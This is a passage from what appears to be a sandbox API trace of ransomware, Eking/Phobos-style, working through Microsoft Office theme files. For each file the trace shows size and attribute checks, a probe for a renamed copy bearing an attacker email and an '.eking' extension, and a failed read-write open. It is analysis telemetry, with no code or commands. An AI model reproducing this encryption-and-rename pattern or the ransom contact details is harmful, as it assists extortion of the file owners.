shared\\themes14\\compass\\compass.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.783] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=486) returned 1 [0173.783] CloseHandle (hObject=0x1e4) returned 1 [0173.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf")) returned 0x20 [0173.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf")) returned 0x20 [0173.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.784] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.784] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.785] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=1293) returned 1 [0173.785] CloseHandle (hObject=0x1e4) returned 1 [0173.785] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif")) returned 0x20 [0173.785] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif")) returned 0x20 [0173.785] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.785] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.785] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.786] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=20575) returned 1 [0173.786] CloseHandle (hObject=0x1e4) returned 1 [0173.792] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png")) returned 0x20 [0173.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png")) returned 0x20 [0173.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.793] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.793] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0173.794] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=45528) returned 1 [0173.794] CloseHandle (hObject=0x1e8) returned 1 [0173.795] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm")) returned 0x20 [0173.795] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm")) returned 0x20 [0173.795] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.795] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.795] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.796] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=480) returned 1 [0173.796] CloseHandle (hObject=0x1e4) returned 1 [0173.796] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf")) returned 0x20 [0173.796] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf")) returned 0x20 [0173.797] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.797] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.797] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.797] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=1287) returned 1 [0173.797] CloseHandle (hObject=0x1e4) returned 1 [0173.797] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif")) returned 0x20 [0173.797] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif")) returned 0x20 [0173.798] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.798] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.798] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.798] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=28595) returned 1 [0173.798] CloseHandle (hObject=0x1e4) returned 1 [0173.798] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png")) returned 0x20 [0173.799] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png")) returned 0x20 [0173.799] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.799] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.799] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.800] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=71388) returned 1 [0173.800] CloseHandle (hObject=0x1e4) returned 1 [0173.800] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm")) returned 0x20 [0173.800] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm")) returned 0x20 [0173.800] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.801] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.801] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.801] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=569) returned 1 [0173.801] CloseHandle (hObject=0x1e4) returned 1 [0173.801] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf")) returned 0x20 [0173.801] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf")) returned 0x20 [0173.801] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.801] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.802] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.802] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3957) returned 1 [0173.802] CloseHandle (hObject=0x1e4) returned 1 [0173.802] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif")) returned 0x20 [0173.802] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif")) returned 0x20 [0173.802] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.803] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.803] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.804] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=33277) returned 1 [0173.804] CloseHandle (hObject=0x1e4) returned 1 [0173.804] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png")) returned 0x20 [0173.804] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png")) returned 0x20 [0173.804] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.804] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.805] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.806] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=45262) returned 1 [0173.806] CloseHandle (hObject=0x1e4) returned 1 [0173.806] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm")) returned 0x20 [0173.806] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm")) returned 0x20 [0173.807] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.807] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.807] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.807] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=503) returned 1 [0173.807] CloseHandle (hObject=0x1e4) returned 1 [0173.808] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.inf")) returned 0x20 [0173.808] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.inf")) returned 0x20 [0173.808] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.inf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.808] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.808] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.809] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=1453) returned 1 [0173.809] CloseHandle (hObject=0x1e4) returned 1 [0173.809] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif")) returned 0x20 [0173.809] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif")) returned 0x20 [0173.809] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.809] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.810] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.810] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=25106) returned 1 [0173.810] CloseHandle (hObject=0x1e4) returned 1 [0173.810] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png")) returned 0x20 [0173.810] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png")) returned 0x20 [0173.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.811] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.811] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.811] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=118577) returned 1 [0173.812] CloseHandle 